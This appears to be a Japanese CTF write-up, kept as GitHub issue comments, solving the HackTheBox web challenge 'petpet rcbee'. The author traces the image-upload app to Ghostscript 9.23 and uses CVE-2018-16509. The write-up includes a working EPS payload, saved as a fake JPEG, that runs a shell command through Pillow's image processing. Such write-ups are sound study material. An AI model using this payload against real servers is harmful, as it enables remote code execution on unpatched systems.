roaris / ctf-log

0 stars 0 forks source link

HackTheBox: petpet rcbee (Web) #9

Open roaris opened 6 months ago

roaris commented 6 months ago

https://app.hackthebox.com/challenges/petpet%20rcbee

roaris commented 6 months ago

画像をアップロードすると、gifアニメーションに加工されるアプリケーション

/app/flag がフラグだが、これを直接読み取れるような機能は無さそう しかし、/app/application/staticにあるファイルは自由に読み取ることが出来るので、ここにフラグを移動させることが出来れば良い

Flaskの静的ファイルの格納ディレクトリはデフォルトでstatic https://qiita.com/5zm/items/db6acb96594e0ff7c549

roaris commented 6 months ago

コード中のRGBAが気になったので調べた https://e-words.jp/w/RGBA.html https://techis.jp/guide/html/html_colors_rgb

Aは透過度を表している 実際に表示される色は、RGB各色の強度に、その位置の背景色を透過度に応じて反映させたもの

不透明度で表されることが多く、0が完全な透明で、255が完全な不透明

roaris commented 6 months ago

PILの特定のバージョンに脆弱性がある? しかし、requirements.txtがなく、PILのバージョンは固定されてない

roaris commented 6 months ago

Dockerfileに以下の記述があった

# Install Pillow component
RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
    && tar -xzf ghostscript-9.23-linux-x86_64.tgz \
    && mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*

Ghostscriptのバージョン9.23をダウンロードしている Ghostscriptは、PostScriptと呼ばれるページ記述言語のインタプリタとのこと Pillow componentとあるので、PILが内部的に使用しているのだろうか

roaris commented 6 months ago

ghostscript 9.23 exploitで調べると https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509 が出てきた

CVE-2018-16509 https://www.security-next.com/097720 OSコマンドインジェクションっぽい

roaris commented 6 months ago

rce.jpgを以下のように編集して、アップロードする

%!PS-Adobe-3.0 EPSF-3.0                                                                                                                                                        
%%BoundingBox: -0 -0 100 100                                                                                                                                                   

userdict /setpagedevice undef                                                                                                                                                  
save                                                                                                                                                                           
legal                                                                                                                                                                          
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%mv /app/flag /app/application/static) currentdevice putdeviceprops

そして、/static/flagにアクセスすることで、フラグを得ることが出来た

roaris commented 6 months ago

https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509 のREADMEには、PILのopenが呼ばれるだけではRCEは発生せず、resize, crop, rotate, saveが呼ばれることでRCEが発生するとある

今回はopenで開いた画像(bee)をpetmotionという関数に渡しており、petmotion側でbee.resizeとしているので、ここでコマンドが実行されていると思われる

bee = Image.open(tmp_path).convert('RGBA')
frames = [Image.open(f) for f in sorted(glob.glob('application/static/img/*'))]
finalpet = petmotion(bee, frames)